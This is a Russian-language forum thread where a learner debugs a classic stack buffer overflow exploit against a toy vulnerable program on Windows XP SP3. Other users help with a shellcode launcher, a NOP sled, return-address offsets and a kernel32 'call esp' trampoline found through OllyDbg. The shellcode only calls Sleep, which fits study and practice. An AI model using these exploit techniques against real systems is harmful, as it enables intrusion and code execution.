Прочитал довольно много статей. Вроде все понятно, но не выходит реализовать Собственно, вот код: Code: #include <iostream> #include <stdio.h> #include <windows.h> char shellcode[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x98\x3a\x50\xff\xd3"; int main(int argc, char* argv[]) { char buf[200]; char exec[600]; memset(buf,0x00,sizeof(buf)); memset(buf,0x90,150-strlen(shellcode)); memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); *(long *)&buf[112] = 0x0022FF60; // при 112 уязвимая программа падает, при 111 уже нет sprintf(exec,"overflow.exe %s",buf); system(exec); printf("\r\n"); system("pause"); return 0; } overflow.exe : Code: int main(int argc, char *argv[]) { char buf[100]; strcpy(buf, argv[1]); cout << buf; return 0; } Чтобы не было вопросов с правильностью определения адреса возврата Так же удивляет, что при выполнении, в выводе последний символ есть раскодированный последний байт адреса. ' есть 60 в hex, если заменить адрес возврата на, допустим, 0x0022FF61, то последним символом в выводе будет a(61 в hex). И что я делаю не так? Ах да, win XP Pro sp3 P.S. При удачном исполнении программа должна просто проспать 15 секунд.
Ну если ты об этом: Code: memset(buf,0x00,sizeof(buf)); memset(buf,0x90,150-strlen(shellcode)); memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); То сначала просто очищаю, записываю нопы, в конец дописываю код, который должен исполниться.
Вот так тебе нужно сделать: Code: #include <string.h> #include <stdio.h> char shellcode[] = "\x35\x35\x35\x35" "\x35\x35\x35\x35" "\x35\x35\x35\x35" "\x35\x35\x35\x35" "\x35\x35\x35\x35" "\x35\x35\x35\x35" "\x35\x35\x35\x35" "\xf0\x69\x83\x7c" // call esp in Kernel32 "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x31\xc0" // твой код "\xbb\x46\x24\x80" // "\x7c\x66\xb8\x98" // "\x3a\x50\xff\xd3"; // int main (int argc, char **argv) { char buf[10]; memset (buf, 0, sizeof(buf)); strcpy(buf, shellcode); return 0; } где shellcode - строка которую тебе нужно сгенерировать в твоей первой программе. PS. Я уменьшил длину массива до 10 байт, если тебе обязательно нужно больше, то увеличивай первую секцию шеллкода (до call esp) пока регистр EIP не перетрется нашем адресом и всё. PPS. Адрес интсрукции call ESP может у нас отличаться. У меня Windows XP SP3 En x86
А как ты call esp нашел? Я всю программу перерыл в поисках call или jmp esp, так ничего и не нашел. IDA поиском не находит.
1. Запускаешь прогу в отладчике (я использовал OllyDbg) 2. Открываешь список подгруженных библиотек (Alt + E) 3. Ищем среди них Kernel32.dll (эта библиотека как и ntdll.dll, msvcrt.dll всегда подгружены к любой программе в Windows) 4. Кликаешь правой кнопкой на ней и выбираешь "Follow Entry" и тебя перекидывает по базовому адресу загрузки Kernel32.dll 5. Далее будем искать нужную нам команду в этой библиотеке. Наживаем Ctrl + F и вводим команду call esp 6. И о чудо мы видим её)) (в крайнем левом столбце будет адрес этой команды) Ну как-то так!
Нашел, 7C809F83. В проге записываю так "\x83\x9F\x80\x7c", она просто падает. А у меня возник вопрос, ну хорошо мы вызываем call esp, а esp сейчас указывает ведь на мусор...
Регистр ESP указывает ВСЕГДА на вершину стека. Если у тебя правильно перетерся EIP, то ESP указывает на код, который идет после этого адреса (в моем шелкоде там идут нопы (0x90))
Да, надо было несколько \x35 убрать и все заработало Сейчас переделаю свой код. Upd. Code: #include <iostream> #include <stdio.h> #include <windows.h> char shellcode[] = "\x31\xc0\xbb\x46" "\x24\x80\x7c\x66" "\xb8\x98\x3a\x50" "\xff\xd3"; int main(int argc, char* argv[]) { char buf[300]; char exec[600]; memset(buf,0x00,sizeof(buf)); memset(buf,0x41,112); buf[112] = '\x83'; buf[113] = '\x9F'; buf[114] = '\x80'; buf[115] = '\x7c'; //memset(buf+strlen(buf), 0x90, 5); memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); sprintf(exec,"overflow.exe %s",buf); system(exec); system("pause"); return 0; } На выходе имею: Судя по всему call esp выполняется, чтобы проверить записываем после call esp перед шеллом 5 нопов. Теперь в выводе видим, что эти 5 нопов появились в команде, значит call esp выполнился и нас перебросило на шеллкод. Так вот не понимаю, почему он не выполняется P.S. Вопрос для знатоков, можно ли в IDA, при вызове одной программы из другой, как в данном случае например, дизассемблировать вызываемую программу? То есть если exec.exe вызывает overflow.exe - IDA во время вызова overflow.exe, подключается к ней.